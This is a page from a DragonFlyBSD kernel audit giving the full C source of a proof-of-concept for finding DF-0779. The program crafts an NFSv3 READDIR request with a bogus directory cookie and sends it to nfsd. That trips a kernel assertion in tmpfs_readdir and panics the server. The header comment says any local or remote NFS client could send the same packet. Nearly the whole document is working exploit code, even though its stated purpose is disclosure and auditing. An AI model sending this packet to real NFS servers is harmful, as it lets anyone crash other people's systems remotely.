DragonFlyBSD Kernel Audit
DF-0779 / df0779_trigger.c
← back to finding ↓ download raw
/*
 * DF-0779 trigger (root, demonstration harness).
 *
 * This stands in for a malicious NFS client.  The realistic threat model:
 * an admin runs the NFS server exporting a tmpfs directory; ANY NFS client
 * (local over localhost, or remote over the network) that issues a READDIR
 * with a cookie value that does not map to a real tmpfs dirent drives the
 * server's VOP_READDIR(vp, &io, ..., &ncookies, &cookies) (nfs_serv.c:3045)
 * into tmpfs_readdir's cookie-generation block
 * (tmpfs_vnops.c:1697-1731).  The first iteration does
 * tmpfs_dir_lookupbycookie(node, off, exact=1) which returns NULL for a
 * bogus cookie -> KKASSERT(de != NULL) at tmpfs_vnops.c:1719 -> panic.
 *
 * We obtain the directory's filehandle via getfh(2) (root; this is the fh a
 * real MOUNT RPC would hand a legitimate client) and then fire a hand-rolled
 * NFSv3 READDIR3 RPC over UDP at the local nfsd (127.0.0.1:2049) carrying a
 * bogus cookie.  The packet content is exactly what a network attacker would
 * send; we just avoid fighting mountd's auth policy for the demonstration.
 *
 * Run as root:   ./df0779_trigger /tmp/df0779_export [bogus_cookie_hex]
 * If the kernel panics, this process never sees a reply (RCVTIMEO) and the
 * guest dies -- the panic is captured in the serial boot.log.
 */
#include <sys/param.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <errno.h>

#define NFS_PROG 100003
#define NFS_VERS 3
#define NFSPROC_READDIR 16

static uint32_t g_xid = 0xfeed0001;

static void put32(uint8_t **p, uint32_t v){ v=htonl(v); memcpy(*p,&v,4); *p+=4; }
static size_t make_auth_unix(uint8_t *body){
    uint8_t *b=body;
    put32(&b,0x12345678);
    const char *mach="dfbsd"; size_t mlen=strlen(mach),pad=(mlen+3)&~3u;
    put32(&b,(uint32_t)mlen); memcpy(b,mach,mlen); b+=mlen;
    if(pad>mlen){memset(b,0,pad-mlen);b+=pad-mlen;}
    put32(&b,0); put32(&b,0); put32(&b,0);
    return (size_t)(b-body);
}
static int build_call(uint8_t *buf,uint32_t xid,uint32_t prog,uint32_t vers,
                      uint32_t proc,const uint8_t *args,size_t alen){
    uint8_t *start=buf;
    put32(&buf,xid); put32(&buf,0); put32(&buf,2);
    put32(&buf,prog); put32(&buf,vers); put32(&buf,proc);
    uint8_t authbuf[256]; size_t authlen=make_auth_unix(authbuf);
    put32(&buf,1); put32(&buf,(uint32_t)authlen);
    memcpy(buf,authbuf,authlen); buf+=authlen;
    put32(&buf,0); put32(&buf,0);
    if(alen){memcpy(buf,args,alen); buf+=alen;}
    return (int)(buf-start);
}

int main(int argc,char **argv){
    const char *path = argc>1 ? argv[1] : "/tmp/df0779_export";
    uint64_t bogus = argc>2 ? strtoull(argv[2],NULL,0) : 0xDEAD;

    fhandle_t fh;
    memset(&fh,0,sizeof fh);
    if (getfh(path,&fh) != 0){
        fprintf(stderr,"getfh(%s): %s\n", path, strerror(errno));
        return 2;
    }
    printf("getfh(%s) ok, fh bytes (%zu): ", path, sizeof fh);
    size_t i; for(i=0;i<sizeof fh;i++) printf("%02x", ((uint8_t*)&fh)[i]);
    printf("\n");

    /* READDIR3 args: fhandle3 (opaque<>), cookie3(u64), cookieverf3(opaque<8>), count3(u32) */
    uint32_t fhlen = (uint32_t)sizeof fh;
    uint32_t fhpadded = (fhlen+3)&~3u;
    uint8_t args[256], *a=args;
    put32(&a,fhlen);
    memcpy(a,&fh,fhlen); a+=fhlen;
    if(fhpadded>fhlen){memset(a,0,fhpadded-fhlen); a+=fhpadded-fhlen;}
    put32(&a,(uint32_t)(bogus>>32));
    put32(&a,(uint32_t)(bogus & 0xffffffffu));
    /* cookieverf3: NFSv3 FIXED opaque[NFS3_COOKIEVERFSIZE=8] -- 8 RAW bytes,
     * NO length prefix (unlike variable opaque<>). */
    memset(a,0,8); a+=8;
    put32(&a,8192); /* count */
    int alen=(int)(a-args);

    uint8_t req[512], reply[65536];
    int rl=build_call(req,g_xid++,NFS_PROG,NFS_VERS,NFSPROC_READDIR,args,alen);
    struct sockaddr_in sin; memset(&sin,0,sizeof sin);
    sin.sin_family=AF_INET; sin.sin_port=htons(2049);
    sin.sin_addr.s_addr=inet_addr("127.0.0.1");
    int s=socket(AF_INET,SOCK_DGRAM,0);
    struct timeval tv={.tv_sec=6}; setsockopt(s,SOL_SOCKET,SO_RCVTIMEO,&tv,sizeof tv);
    if(connect(s,(struct sockaddr*)&sin,sizeof sin)<0){perror("connect");return 3;}
    printf("READDIR3: fh + bogus cookie=0x%016llx -- sending to nfsd:2049 ...\n",
           (unsigned long long)bogus);
    if(send(s,req,rl,0)!=rl){perror("send");return 3;}
    int n=recv(s,reply,sizeof reply,0);
    printf("READDIR3 reply: %d bytes, errno=%d (%s)\n", n, errno, strerror(errno));
    printf("(a reply here = no panic; no reply / timeout = guest likely PANICKED)\n");
    close(s);
    return 0;
}